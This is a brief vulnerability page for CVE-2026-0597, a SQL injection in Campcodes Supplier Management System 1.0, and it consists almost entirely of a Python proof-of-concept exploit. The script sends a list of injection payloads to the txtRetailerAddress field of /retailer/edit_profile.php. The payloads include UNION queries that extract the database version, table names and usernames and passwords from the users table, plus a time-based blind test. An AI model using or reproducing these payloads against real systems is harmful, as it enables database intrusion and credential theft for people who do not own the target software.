CVE-2026-0597 Campcodes Supplier Management System SQL注入漏洞

# CVE-2026-0597 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /retailer/edit_profile.php # Parameter: txtRetailerAddress import requests import sys target_url = "http://target.com/retailer/edit_profile.php" # Authentication credentials (low-privilege user) cookies = { "PHPSESSID": "your_session_id_here" } # SQL Injection Payloads payloads = [ # Basic injection test - triggers SQL error "'", # Union-based injection to extract database version "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL-- -", # Extract current database and user "' UNION SELECT NULL,database(),user(),NULL,NULL,NULL,NULL,NULL-- -", # Enumerate tables in current database "' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -", # Extract users table data "' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL FROM users-- -", # Time-based blind injection for data extraction "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" ] def exploit_sqli(payload): data = { "txtRetailerAddress": payload, "btnSubmit": "Update" } try: response = requests.post(target_url, data=data, cookies=cookies, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if "error" in response.text.lower() or "sql" in response.text.lower(): print("[!] Potential SQL injection detected!") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2026-0597 SQL Injection PoC") print("=" * 50) for payload in payloads: exploit_sqli(payload)